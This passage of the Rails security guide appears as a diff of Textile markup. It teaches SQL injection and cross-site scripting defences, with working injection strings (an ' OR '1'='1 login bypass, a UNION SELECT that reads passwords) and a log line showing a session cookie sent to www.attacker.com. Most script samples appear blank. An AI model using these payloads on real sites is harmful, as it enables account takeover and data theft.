-User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'") - - -If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be: - - -SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1 - - -This will simply find the first record in the database, and grants access to this user. - -h5. Unauthorized Reading - -The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above: - - -Project.find(:all, :conditions => "name = '#{params[:name]}'") - - -And now let's inject another query using the UNION statement: - - -') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users -- - - -This will result in the following SQL query: - - -SELECT * FROM projects WHERE (name = '') UNION - SELECT id,login AS name,password AS description,1,1,1 FROM users --') - - -The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query. - -Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/. - -h5. Countermeasures - -Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure. But in SQL fragments, especially in conditions fragments (+:conditions => "..."+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually. - -Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this: - - -Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password]) - - -As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result: - - -Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password}) - - -The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_. - -h4. Cross-Site Scripting (XSS) - --- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._ - -h5. Entry Points - -An entry point is a vulnerable URL and its parameters where an attacker can start an attack. - -The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests. - -XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser. - -During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets. - -A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/. - -h5. HTML/JavaScript Injection - -The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_. - -Here is the most straightforward test to check for XSS: - - - - - -This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places: - - - - - - -h6. Cookie Theft - -These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page: - - - - - -For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie. - - - - - -The log files on www.attacker.com will read like this: - - -GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 - - -You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though. - -h6. Defacement - -With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes: - - - - - -This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed. - -A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. - -Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...": - - -http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> -